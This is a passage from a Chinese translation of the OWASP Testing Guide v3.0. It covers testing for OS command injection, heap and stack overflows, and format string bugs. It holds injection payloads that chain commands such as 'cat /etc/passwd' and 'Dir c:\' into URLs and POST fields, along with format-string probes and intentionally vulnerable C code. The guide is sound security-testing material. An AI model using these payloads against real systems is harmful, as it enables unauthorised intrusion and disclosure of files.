http://sensitive/cgi-bin/userData.pl?doc=user1.txt<br />

修 改 后 的 URL:<br />

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|<br />

这 将 执 行 “/bin/ls” 命 令 。<br />

在 .PHP 页 面 的 URL 后 追 加 一 个 分 号 以 及 一 个 OS 命 令 , 就 能 执 行 该 命 令 。<br />

例 :<br />

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd<br />

实 例<br />

例 如 : 应 用 程 序 包 含 一 套 允 许 从 互 联 网 上 浏 览 的 文 件 。 如 果 您 启 动 WebScarab , 您 可 以 获 取 下 列 的 POST HTTP:<br />

POST http://www.example.com/public/doc HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Proxy-Connection: keep-alive<br />

Referer: http://127.0.0.1/WebGoat/attack?Screen=20<br />

Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5<br />

Authorization: Basic T2Vbc1Q9Z3V2Tc3e=<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 33<br />

Doc=Doc1.pdf<br />

在 post 中 , 我 们 注 意 到 应 用 程 序 如 何 检 索 公 开 文 件 。 现 在 我 们 可 以 测 试 是 否 有 可 能 在 POST HTTP 注 入 一 个 操 作 系 统<br />

命 令 。 请 尝 试 以 下 方 法 :<br />

POST http://www.example.com/public/doc HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

278


OWASP 测 试 指 南 v3.0<br />

Proxy-Connection: keep-alive<br />

Referer: http://127.0.0.1/WebGoat/attack?Screen=20<br />

Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5<br />

Authorization: Basic T2Vbc1Q9Z3V2Tc3e=<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 33<br />

Doc=Doc1.pdf+|+Dir c:\<br />

如 果 应 用 程 序 没 有 验 证 该 请 求 , 我 们 可 能 获 取 以 下 结 果 :<br />

Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'<br />

输 出 是 :<br />

Il volume nell'unità C non ha etichetta.<br />

Numero di serie Del volume: 8E3F-4B61<br />

Directory of c:\<br />

18/10/2006 00:27 2,675 Dir_Prog.txt<br />

18/10/2006 00:28 3,887 Dir_ProgFile.txt<br />

16/11/2006 10:43<br />

Doc<br />

11/11/2006 17:25<br />

Documents and Settings<br />

25/10/2006 03:11<br />

I386<br />

14/11/2006 18:51<br />

h4ck3r<br />

30/09/2005 21:40 25,934<br />

OWASP1.JPG<br />

03/11/2006 18:29<br />

Prog<br />

18/11/2006 11:20<br />

Program Files<br />

16/11/2006 21:12<br />

Software<br />

24/10/2006 18:25<br />

Setup<br />

24/10/2006 23:37<br />

Technologies<br />

18/11/2006 11:14<br />

3 File 32,496 byte<br />

13 Directory 6,921,269,248 byte disponibili<br />

Return code: 0<br />

在 这 个 案 例 中 , 我 们 已 经 获 取 OS 注 入 。<br />

279


灰 盒 检 测<br />

过 滤<br />

URL 和 表 单 数 据 需 要 清 除 无 效 字 符 。 字 符 “ 黑 名 单 ” 是 一 种 选 择 , 但 是 很 难 想 到 所 有 需 要 验 证 的 字 符 。 同 时 , 还 存 在<br />

一 些 目 前 尚 未 发 现 的 有 问 题 的 字 符 。 可 以 创 建 只 包 含 允 许 字 符 的 “ 白 名 单 “ 用 于 验 证 用 户 输 入 。 而 不 在 “ 白 名 单 ”<br />

中 的 字 符 和 尚 未 发 现 的 威 胁 都 将 在 该 名 单 中 删 除 。<br />

权 限<br />

Web 应 用 程 序 及 其 组 件 应 该 在 不 允 许 执 行 操 作 系 统 命 令 的 受 限 权 限 中 运 行 。 尝 试 使 用 灰 盒 检 测 方 法 验 证 所 有 信 息 。<br />

参 考<br />

白 皮 书<br />

• http://www.securityfocus.com/infocus/1709<br />

工 具<br />

• OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project<br />

• OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project<br />

4.8.14 缓 冲 区 溢 出 检 测 (OWASP-DV-014)<br />

相 关 安 全 活 动<br />

缓 冲 区 溢 出 的 描 述<br />

参 见 OWASP 文 章 之 缓 冲 区 溢 出 攻 击 。<br />

参 见 OWASP 文 章 之 缓 冲 区 溢 出 漏 洞 。<br />

如 何 避 免 缓 冲 区 溢 出 漏 洞 的<br />

参 见 OWASP 开 发 指 导 一 文 中 如 何 避 免 缓 冲 区 溢 出 漏 洞<br />

如 何 检 查 缓 冲 区 溢 出 漏 洞 的 代 码<br />

参 见 OWASP 代 码 审 查 指 导 一 文 中 缓 冲 区 侵 占 和 溢 出 问 题 的 代 码 审 查<br />

什 幺 是 缓 冲 区 溢 出 ?<br />

请 查 看 缓 冲 区 溢 出 页 面 关 于 缓 冲 区 溢 出 漏 洞 的 更 多 信 息 。<br />

如 何 检 测 缓 冲 区 溢 出 漏 洞 ?<br />

280


OWASP 测 试 指 南 v3.0<br />

不 同 类 型 的 缓 冲 区 溢 出 漏 洞 有 不 同 的 检 测 方 法 。 这 里 讲 到 的 检 测 方 法 是 对 普 通 类 型 的 缓 冲 区 溢 出 漏 洞 而 言 。<br />

• 测 试 堆 溢 出 弱 点 漏 洞 的 检 测<br />

• 测 试 栈 溢 出 弱 点 漏 洞 的 检 测<br />

• 测 试 格 式 化 字 符 串 弱 点 漏 洞 的 检 测<br />

• 测 试 堆 溢 出 弱 点<br />

• 测 试 栈 溢 出 弱 点<br />

• 测 试 格 式 串 弱 点<br />

4.8.14.1 堆 溢 出<br />

摘 要<br />

这 个 检 测 是 看 检 测 人 员 能 否 在 内 存 段 制 造 一 个 堆 溢 出 而 发 现 漏 洞 。<br />

问 题 描 述<br />

堆 (Heap) 是 为 存 放 动 态 分 配 的 数 据 和 全 局 变 量 而 使 用 的 内 存 段 。Heap 中 的 所 有 内 存 块 都 由 包 含 内 存 管 理 信 息 的 界<br />

限 标 记 组 成 。<br />

在 基 于 堆 的 缓 冲 区 溢 出 中 , 这 些 标 记 中 的 控 制 信 息 被 重 写 。 当 堆 管 理 例 程 释 放 缓 冲 区 时 , 存 储 地 址 的 重 写 将 导 致 访<br />

问 违 例 。 当 溢 出 以 受 控 制 的 方 式 执 行 时 , 该 漏 洞 将 允 许 攻 击 者 在 期 望 的 内 存 中 写 入 用 户 控 制 数 据 。 实 际 上 , 攻 击<br />

者 能 改 写 函 数 指 针 和 在 多 个 结 构 中 如 :GOT、.dtors 或 TEB 等 写 入 恶 意 代 码 的 地 址 。<br />

存 在 的 多 个 堆 溢 出 ( 堆 腐 蚀 ) 变 种 允 许 任 何 情 况 发 生 , 从 改 写 函 数 指 针 到 利 用 内 存 管 理 结 构 用 于 执 行 任 意 代 码 。 与<br />

栈 溢 出 比 较 , 找 出 堆 溢 出 的 存 在 需 要 进 行 周 密 的 调 查 , 因 为 需 要 在 代 码 中 存 在 多 个 特 定 条 件 才 能 展 现 这 些 漏 洞 。<br />

黑 盒 检 测 实 例<br />

堆 溢 出 的 黑 盒 检 测 原 则 同 栈 溢 出 一 样 。 关 键 是 提 供 与 预 期 输 入 相 比 不 同 的 和 更 大 长 度 的 字 符 串 。 虽 然 测 试 过 程 相<br />

同 , 在 调 试 器 中 可 见 的 结 果 却 大 不 相 同 。 当 然 在 栈 溢 出 情 况 下 , 指 令 指 针 或 SHE 被 改 写 是 显 而 易 见 的 , 但 在 堆 溢 出<br />

条 件 下 却 不 是 这 样 。 当 调 试 一 个 Widnows 程 序 时 , 堆 溢 出 可 能 以 几 种 不 同 的 形 式 出 现 。 最 常 见 的 形 式 是 在 堆 管 理 例<br />

程 执 行 后 , 发 生 了 指 针 交 换 。 下 图 显 示 的 是 堆 溢 出 漏 洞 情 况 :<br />

281


上 图 显 示 的 两 个 寄 存 器 , EAX 和 ECX, 可 以 用 来 写 入 用 户 提 供 的 地 址 , 这 些 地 址 是 用 于 缓 冲 堆 溢 出 的 数 据 的 一 部<br />

分 。 其 中 一 个 地 址 可 以 是 需 要 该 写 的 函 数 指 针 , 例 如 UEF( 未 处 理 异 常 的 过 滤 器 ), 另 外 一 个 地 址 是 用 户 提 供 的 需<br />

要 执 行 的 代 码 的 地 址 。<br />

当 执 行 左 窗 格 显 示 的 MOV 指 令 时 , 改 写 操 作 将 发 生 , 当 函 数 调 用 时 将 执 行 用 户 提 供 的 代 码 。 正 如 之 前 提 到 的 , 其 它<br />

检 测 这 些 漏 洞 的 方 法 包 括 对 应 用 程 序 二 进 制 文 件 进 行 逆 向 工 程 , 这 是 个 复 杂 和 繁 琐 的 工 作 , 需 要 使 用 模 糊 处 理 技<br />

术 。<br />

灰 盒 检 测<br />

在 审 查 代 码 时 , 我 们 必 须 认 识 到 产 生 堆 相 关 漏 洞 的 途 径 有 很 多 个 。 乍 一 看 不 存 在 安 全 问 题 的 代 码 在 某 些 条 件 发 生 时<br />

可 能 是 存 在 漏 洞 的 。 由 于 该 漏 洞 存 在 多 种 形 态 , 我 们 将 解 决 那 些 显 着 的 问 题 。 在 大 多 数 情 况 下 , 许 多 毫 不 犹 豫 执 行<br />

strcpy ( ) 等 不 安 全 操 作 的 开 发 者 认 为 堆 缓 冲 区 是 安 全 的 。 有 的 人 认 为 栈 溢 出 和 改 写 指 令 指 针 是 执 行 任 意 代 码 的 唯 一<br />

方 法 。 下 面 就 是 被 证 明 是 危 险 的 代 码 案 例 :<br />

int main(int argc, char *argv[])<br />

{<br />

……<br />

}<br />

vulnerable(argv[1]);<br />

return 0;<br />

int vulnerable(char *buf)<br />

{<br />

282


OWASP 测 试 指 南 v3.0<br />

HANDLE hp = HeapCreate(0, 0, 0);<br />

HLOCAL chunk = HeapAlloc(hp, 0, 260);<br />

strcpy(chunk, buf); Vulnerability'''⇓'''<br />

……..<br />

}<br />

return 0;<br />

在 这 种 情 况 下 , 如 果 缓 冲 区 超 过 260 个 字 节 , 它 会 覆 盖 相 邻 边 界 标 记 的 指 针 。 一 旦 堆 管 理 例 程 运 行 , 它 能 便 于 使 用<br />

4 个 字 节 的 数 据 覆 盖 任 意 内 存 位 置 。<br />

最 近 一 些 产 品 , 特 别 是 反 病 毒 程 序 库 , 受 到 了 不 同 变 种 的 影 响 。 这 些 变 种 是 整 数 溢 出 和 堆 缓 冲 区 复 制 操 作 的 结 合 。<br />

例 如 , 存 在 漏 洞 的 代 码 段 , 来 自 Clam Anti Virus 0.86.1 作 为 负 责 处 理 TNEF 文 件 类 型 的 代 码 的 一 部 分 , 源 文 件 tnef.c<br />

和 函 数 tnef_message( ):<br />

Vulnerability'''⇓string = cli_malloc(length + 1); '''<br />

Vulnerability'''⇓if(fread(string, 1, length, fp) != length) {'''<br />

free(string);<br />

return -1;<br />

}<br />

第 一 行 的 malloc 基 于 值 的 长 度 分 派 内 存 , 这 正 好 是 一 个 32 位 整 数 。 在 这 一 特 殊 的 例 子 中 , 长 度 为 用 户 可 控 的 , 可<br />

以 定 制 恶 意 TNEF 文 件 将 长 度 设 置 成 ' -1 ' 。 这 将 导 致 malloc(0)。 这 个 malloc 调 用 将 分 配 一 小 段 堆 缓 冲 区 , 在 32 位 平<br />

台 上 这 应 该 是 16 个 字 节 ( 见 malloc.h)。<br />

在 第 二 行 , 调 用 fread() 时 发 生 了 堆 溢 出 。 在 这 个 案 例 中 , 第 三 个 参 量 原 本 是 size_t 变 量 。 但 是 , 如 果 这 是 ' -1 ' , 这<br />

个 参 量 将 转 变 为 0xFFFFFFFF , 从 而 复 制 0xFFFFFFFF 个 字 节 到 16 字 节 的 缓 冲 区 去 。<br />

静 态 代 码 分 析 工 具 还 可 以 帮 助 寻 找 堆 积 相 关 的 弱 点 , 如 “ 重 复 释 放 ” 等 。 各 种 各 样 的 工 具 , 如 RATS, Flawfinder 和<br />

ITS4 可 用 于 分 析 C 语 言 。<br />

参 考<br />

白 皮 书<br />

• w00w00: "Heap Overflow Tutorial" - http://www.w00w00.org/files/articles/heaptut.txt<br />

• David Litchfield: "Windows Heap Overflows" - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bhwin-04-litchfield.ppt<br />

• Alex wheeler: "Clam Anti-Virus Multiple remote buffer overflows" - http://www.rem0te.com/public/images/clamav.pdf<br />

283


工 具<br />

• OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de<br />

• Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing -<br />

http://www.immunitysec.com/downloads/SPIKE2.9.tgz<br />

• Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net<br />

• Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework<br />

• Stack [Varun Uppal (varunuppal81@gmail.com)]<br />

4.8.14.2 栈 溢 出<br />

概 述<br />

在 本 节 中 , 我 们 描 述 一 个 特 定 的 溢 出 检 测 , 把 重 点 放 在 如 何 操 纵 程 序 栈 。<br />

问 题 描 述<br />

当 复 制 可 变 大 小 的 数 据 到 位 于 程 序 栈 的 固 定 长 度 的 缓 存 区 并 且 没 有 任 何 越 界 检 查 时 , 就 会 发 生 栈 溢 出 。 这 个 级 别 的<br />

漏 洞 通 常 具 有 较 高 严 重 性 , 因 为 利 用 该 漏 洞 将 很 可 能 允 许 执 行 任 意 代 码 或 拒 绝 服 务 。 在 解 析 平 台 上 不 常 见 , 而 在 C<br />

语 言 和 其 它 语 言 编 写 的 代 码 中 通 常 包 含 很 多 这 种 漏 洞 。 从 OWASP 指 南 2.0 缓 冲 区 溢 出 部 分 中 摘 录 如 下 :<br />

“ 除 了 下 面 几 个 例 外 , 几 乎 每 一 个 平 台 都 存 在 栈 溢 出 问 题 :<br />

J2EE 平 台 —— 只 要 没 有 使 用 原 生 的 方 法 或 系 统 调 用<br />

.NET—— 只 要 没 有 使 用 不 安 全 的 或 非 托 管 代 码 没 有 被 调 用 ( 如 使 用 P/Invoke 或 COM Interop )<br />

PHP—— 只 要 没 有 调 用 外 部 程 序 或 调 用 使 用 C 或 C++ 编 写 的 存 在 漏 洞 的 PHP 扩 展 程 序<br />

栈 溢 出 漏 洞 达 到 很 高 的 严 重 程 度 , 因 为 它 允 许 使 用 任 意 值 覆 盖 指 令 指 针 。 众 所 周 知 , 指 令 指 针 是 用 于 管 理 代 码 执 行<br />

流 程 的 。 如 果 有 能 力 来 操 纵 它 , 就 能 改 变 执 行 的 流 程 , 从 而 执 行 任 意 代 码 。 除 了 覆 盖 指 令 指 针 , 通 过 覆 盖 其 它 变 量<br />

和 结 构 同 样 也 可 以 发 生 类 似 的 结 果 , 如 位 于 栈 上 的 异 常 处 理 程 序 。<br />

黑 盒 检 测 实 例<br />

检 测 应 用 程 序 的 栈 溢 出 漏 洞 的 关 键 是 提 供 与 所 期 望 的 相 比 非 常 大 的 输 入 数 据 。 然 而 , 使 应 用 程 序 充 斥 任 意 大 量 数 据<br />

仍 然 不 够 充 分 。 有 必 要 检 查 应 用 程 序 的 执 行 流 程 和 反 应 , 以 确 定 是 否 真 的 触 发 了 某 种 流 程 。 因 此 找 出 并 验 证 栈 溢 出<br />

的 方 法 是 将 调 试 器 加 载 到 目 标 应 用 程 序 或 进 程 , 对 该 应 用 程 序 产 生 畸 形 输 入 并 注 入 到 其 中 , 然 后 通 过 调 试 器 观 察 反<br />

应 。 调 试 器 是 触 发 该 漏 洞 时 观 察 执 行 流 程 和 寄 存 器 状 态 的 工 具 。<br />

另 一 方 面 , 一 种 更 被 动 的 检 测 形 式 是 使 用 反 编 译 器 检 测 应 用 程 序 的 编 译 代 码 。 在 这 种 情 况 下 , 在 存 在 漏 洞 的 编 译 片<br />

段 中 扫 描 各 个 部 分 的 的 签 名 。 这 经 常 被 称 为 反 向 工 程 , 它 是 一 个 繁 琐 的 过 程 。<br />

284


OWASP 测 试 指 南 v3.0<br />

例 如 , 当 检 测 可 执 行 的 “sample.exe” 的 栈 溢 出 时 , 可 以 使 用 下 面 技 巧 :<br />

#include<br />

int main(int argc, char *argv[])<br />

{<br />

char buff[20];<br />

printf("copying into buffer");<br />

strcpy(buff,argv[1]);<br />

return 0;<br />

}<br />

使 用 一 个 编 译 器 —— 在 这 里 是 OllyDbg—— 启 动 文 件 sample.exe。<br />

因 为 应 用 程 序 期 待 命 令 行 参 数 , 所 以 在 上 述 的 运 行 参 数 中 将 提 供 字 符 的 一 个 大 序 列 , 例 如 ‘A’。<br />

使 用 提 供 的 运 行 参 数 打 开 可 执 行 文 件 , 并 继 续 执 行 , 将 得 到 下 面 结 果 。<br />

285


如 调 试 器 的 寄 存 器 窗 口 所 显 示 , EIP( 扩 展 指 令 指 示 器 ) 指 向 了 后 继 的 另 一 个 指 令 , 包 含 ‘41414141’ 值 。 ‘41’ 是 字 符<br />

‘A’ 的 一 个 十 六 进 制 表 示 法 并 且 串 ‘AAAA’ 表 示 成 41414141。<br />

这 就 清 晰 地 展 示 了 如 何 使 用 用 户 提 供 的 数 据 把 输 入 值 改 写 指 令 指 针 和 控 制 程 序 执 行 。 栈 溢 出 可 能 也 可 允 许 改 写<br />

SHE( 结 构 化 异 常 处 理 ) 等 基 于 栈 的 结 构 , 以 便 控 制 代 码 执 行 和 绕 过 某 些 栈 保 护 机 制 。<br />

如 上 所 述 , 其 它 检 测 漏 洞 的 方 法 包 括 复 杂 而 繁 琐 的 对 应 用 程 序 二 进 制 实 施 反 向 工 程 和 运 用 模 糊 技 术 。<br />

灰 盒 检 测 实 例<br />

当 审 查 栈 溢 出 代 码 时 , 我 们 建 议 搜 索 所 有 不 安 全 的 库 函 数 的 调 用 , 如 gets(), strcpy (), strcat (), 他 们 不 验 证 源 字<br />

符 串 的 长 度 就 将 数 据 盲 目 复 制 到 固 定 尺 寸 的 缓 冲 区 中 。<br />

例 如 以 下 函 数 :<br />

void log_create(int severity, char *inpt) {<br />

char b[1024];<br />

if (severity == 1)<br />

{<br />

strcat(b,”Error occured on”);<br />

strcat(b,":");<br />

strcat(b,inpt);<br />

FILE *fd = fopen ("logfile.log", "a");<br />

fprintf(fd, "%s", b);<br />

fclose(fd);<br />

. . . . . .<br />

}<br />

286


OWASP 测 试 指 南 v3.0<br />

在 上 述 案 例 中 , 如 果 inpt 超 出 1024 个 字 节 ,strcat (b, inpt) 行 将 导 致 栈 溢 出 。 这 不 仅 演 示 了 strcat 的 不 安 全 用 法 ,<br />

同 时 也 展 示 了 检 测 作 为 函 数 参 数 传 递 的 、 由 字 符 指 针 引 用 的 字 符 串 的 长 度 的 重 要 性 , 而 ; 在 这 个 案 例 中 , 则 是 char<br />

*inpt 引 用 的 字 符 串 的 长 度 。 因 此 在 代 码 审 查 时 , 追 溯 函 数 参 数 源 代 码 并 确 定 字 符 串 长 度 总 是 一 个 好 主 意 。<br />

使 用 相 对 安 全 的 strncpy () 可 能 也 会 导 致 栈 溢 出 , 因 为 它 只 制 约 复 制 到 目 的 缓 冲 区 的 字 节 数 。 如 果 用 于 完 成 strncpy ()<br />

的 长 度 的 参 数 是 基 于 用 户 输 入 或 在 循 环 中 由 不 精 确 计 算 而 动 态 产 生 的 , 那 幺 就 有 可 能 溢 出 栈 缓 冲 区 。 例 如 :<br />

Void func(char *source)<br />

{<br />

Char dest[40];<br />

…<br />

size=strlen(source)+1<br />

….<br />

strncpy(dest,source,size)<br />

}<br />

其 来 源 是 用 户 可 控 制 的 数 据 。samba trans2open 栈 溢 出 弱 点 就 是 一 个 很 好 的 例 子<br />

(http://www.securityfocus.com/archive/1/317615)。<br />

漏 洞 可 能 也 出 现 于 URL 和 地 址 解 析 代 码 中 。 在 这 类 情 况 下 ,memccpy() 等 函 数 通 常 用 于 从 来 源 复 制 数 据 到 目 标 缓 冲<br />

区 中 , 直 到 没 有 发 现 某 个 指 定 的 字 符 。 例 如 下 面 函 数 :<br />

Void func(char *path)<br />

{<br />

char servaddr[40];<br />

…<br />

memccpy(servaddr,path,'\');<br />

….<br />

}<br />

在 这 个 案 例 中 , 路 径 中 包 含 的 ‘ \ ’ 之 前 的 信 息 在 会 远 远 超 过 40 字 节 。 如 果 是 这 种 情 况 将 产 生 栈 溢 出 。 在 Windows<br />

RPCSS 子 系 统 (MS03-026) 中 同 样 存 在 相 似 的 漏 洞 。 脆 弱 的 代 码 能 将 UNC 路 径 中 ‘ \ ’ 之 前 的 服 务 器 名 称 复 制 到 固 定 尺 寸<br />

的 缓 冲 区 中 。 在 这 个 案 例 中 , 服 务 器 名 称 的 长 度 由 用 户 控 制 。<br />

除 手 工 审 查 栈 溢 出 的 代 码 之 外 , 静 态 代 码 分 析 工 具 可 能 起 很 大 的 作 用 。 虽 然 他 们 可 能 会 产 生 很 多 误 报 并 且 仅 仅 只 能<br />

找 到 小 部 分 漏 洞 , 但 是 他 们 确 实 可 以 帮 助 减 少 寻 找 像 strcpy() 和 sprintf () 这 样 唾 手 可 得 的 漏 洞 的 成 本 。 分 析 C 样 式 语<br />

言 的 工 具 很 多 , 如 RATS, Flawfinder, 和 ITS4。<br />

参 考<br />

白 皮 书<br />

• Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server -<br />

http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf<br />

287


• Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/phrack/49/P49-14<br />

• Tal Zeltzer: "Basic stack overflow exploitation on Win32" -<br />

http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32<br />

• Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -<br />

http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability<br />

• The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615<br />

• Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html<br />

工 具<br />

• OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de<br />

• Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing -<br />

http://www.immunitysec.com/downloads/SPIKE2.9.tgz<br />

• Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/<br />

• Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/<br />

4.8.14.3 格 式 化 字 符 串<br />

概 述<br />

这 个 部 分 我 们 描 述 如 何 检 测 用 于 导 致 程 序 崩 溃 或 执 行 恶 意 代 码 的 格 式 化 字 符 串 攻 击 。 问 题 的 起 源 是 在 执 行 格 式 功 能<br />

的 某 些 C 语 言 函 数 中 使 用 了 未 经 过 滤 的 用 户 输 入 作 为 格 式 化 字 符 串 的 参 数 , 例 如 printf ()。<br />

问 题 描 述<br />

不 同 C 语 言 通 过 函 数 提 供 输 出 格 式 , 如 printf( ), fprintf( ) 等<br />

格 式 化 是 由 这 些 函 数 的 参 数 控 制 的 , 称 为 格 式 化 类 型 说 明 符 , 例 如 %s, %c 等<br />

当 使 用 不 完 整 的 参 数 以 及 用 户 控 制 的 数 据 调 用 格 式 化 函 数 时 , 就 会 产 生 漏 洞 。<br />

一 个 简 单 的 例 子 就 是 :printf(argv[1]) 。 在 这 种 情 况 下 , 类 型 说 明 符 并 未 明 确 声 明 , 允 许 用 户 在 应 用 程 序 中 通 过 命 令<br />

行 参 数 argv[1] 传 递 %s, %n, %x 等 字 符 。<br />

考 虑 到 提 供 格 式 化 说 明 符 的 用 户 能 执 行 以 下 恶 意 行 动 , 这 种 情 况 往 往 成 为 不 确 定 因 素 。<br />

枚 举 进 程 堆 栈 : 该 漏 洞 允 许 对 手 通 过 提 供 %x 或 %p 等 格 式 化 字 符 串 查 看 存 在 漏 洞 的 进 程 的 栈 组 织 , 可 能 会 导 致 泄 漏<br />

敏 感 信 息 。 当 应 用 程 序 受 到 堆 栈 保 护 机 制 保 护 时 , 它 也 可 以 用 于 获 取 有 价 值 的 信 息 。 结 合 利 用 堆 栈 溢 出 , 这 些 信 息<br />

可 以 用 来 绕 过 堆 栈 保 护 。<br />

控 制 执 行 流 : 由 于 该 漏 洞 允 许 写 入 由 攻 击 者 提 供 的 4 字 节 地 址 数 据 , 它 同 样 可 以 有 助 于 任 意 代 码 的 执 行 。%n 说 明<br />

符 可 以 很 方 面 地 在 内 存 中 覆 盖 各 种 函 数 指 针 , 写 入 恶 意 代 码 的 地 址 。 当 这 些 被 重 写 的 函 数 指 针 被 调 用 时 , 将 执 行 恶<br />

意 代 码 。<br />

288


OWASP 测 试 指 南 v3.0<br />

拒 绝 服 务 : 如 果 攻 击 者 不 能 提 供 恶 意 代 码 执 行 时 , 通 过 在 %x 序 列 后 加 入 %n 将 导 致 应 用 程 序 崩 溃 。<br />

黑 盒 检 测 实 例<br />

检 测 格 式 化 字 符 串 漏 洞 的 关 键 是 在 应 用 程 序 的 输 入 中 提 供 格 式 化 类 型 说 明 符 。<br />

例 如 , 一 个 应 用 程 序 处 理 URL 字 符 串 http://xyzhost.com/html/en/index.htm, 或 接 受 各 种 表 单 的 输 入 。 如 果 格 式 化<br />

字 符 串 漏 洞 存 在 于 一 个 处 理 这 一 信 息 的 例 程 中 , 提 供 类 似 http://xyzhost.com/html/en/index.htm%n%n%n 的 网 址 ,<br />

或 者 在 其 中 一 个 表 单 字 段 中 输 入 %n, 那 幺 就 有 可 能 导 致 应 用 程 序 崩 溃 , 并 在 托 管 文 件 夹 中 创 建 一 个 核 心 转 储 文<br />

件 。<br />

格 式 化 字 符 串 漏 洞 主 要 表 现 在 使 用 基 于 C/C++ 代 码 的 工 具 或 C 语 言 编 写 的 CGI 脚 本 的 Web 服 务 器 、 应 用 服 务 器 或<br />

Web 应 用 程 序 。 在 大 多 数 情 况 下 , 将 不 安 全 地 调 用 像 syslog() 等 那 样 的 错 误 报 告 或 记 录 日 志 的 函 数 。<br />

当 检 测 CGI 脚 本 的 格 式 化 字 符 串 漏 洞 时 , 可 以 在 输 入 参 数 中 嵌 入 %x 或 %n 类 型 说 明 符 。 例 如 一 个 合 理 的 请 求 如 下 :<br />

http://hostname/cgi-bin/query.cgi?name=john&code=45765<br />

可 以 被 转 换 成 :<br />

http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x<br />

如 果 一 个 格 式 化 字 符 串 漏 洞 存 在 于 处 理 这 一 要 求 的 例 程 中 , 那 幺 检 测 人 员 将 能 够 在 浏 览 器 中 看 见 堆 栈 数 据 。<br />

如 果 没 有 源 代 码 , 编 译 片 段 的 审 查 过 程 ( 也 称 为 二 进 制 逆 向 工 程 ) 会 产 生 大 量 格 式 化 字 符 串 错 误 的 信 息 。<br />

例 如 , 使 用 代 码 (1):<br />

int main(int argc, char **argv)<br />

{<br />

printf("The string entered is\n");<br />

printf(“%s”,argv[1]);<br />

return 0;<br />

}<br />

when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly<br />

visible before a call to printf is made.<br />

当 使 用 IDA Pro 对 反 编 译 后 的 代 码 进 行 审 查 时 , 栈 上 的 格 式 类 型 说 明 符 地 址 在 调 用 printf 之 际 清 晰 可 见 。<br />

289


另 外 , 当 同 一 段 代 码 不 使 用 “%s” 作 为 参 数 编 译 时 , 汇 编 结 果 的 变 化 是 明 显 的 。 如 下 所 示 , 在 调 用 printf 之 前 没 有<br />

offset 压 入 栈 中 。<br />

灰 盒 检 测 实 例<br />

进 行 代 码 审 查 , 通 过 使 用 静 态 代 码 分 析 工 具 几 乎 可 以 检 测 到 所 有 的 格 式 化 字 符 串 漏 洞 。 在 ( 1) 中 显 示 的 代 码 就 是<br />

ITS4 的 输 出 , 它 是 一 种 静 态 代 码 分 析 工 具 。<br />

290


OWASP 测 试 指 南 v3.0<br />

出 现 漏 洞 的 函 数 就 是 那 些 把 格 式 说 明 符 作 为 可 选 项 的 函 数 。 因 此 当 人 工 审 查 代 码 时 , 强 调 查 看 以 下 函 数 :<br />

Printf<br />

Fprintf<br />

Sprintf<br />

Snprintf<br />

Vfprintf<br />

Vprintf<br />

Vsprintf<br />

Vsnprintf<br />

有 些 格 式 化 函 数 只 在 特 定 的 开 发 平 台 上 使 用 。 一 旦 了 解 其 参 数 用 法 , 就 应 该 审 查 该 格 式 化 字 符 串 缺 乏 时 的 情 况 。<br />

参 考<br />

白 皮 书<br />

• Tim Newsham: "A paper on format string attacks" - http://comsec.theclerk.com/CISSP/FormatString.pdf<br />

• Team Teso: "Exploiting Format String Vulnerabilities" - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html<br />

• Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf<br />

• Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html<br />

工 具<br />

• ITS4: "A static code analysis tool for identifying format string vulnerabilities using source code" - http://www.cigital.com/its4<br />

• A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase<br />

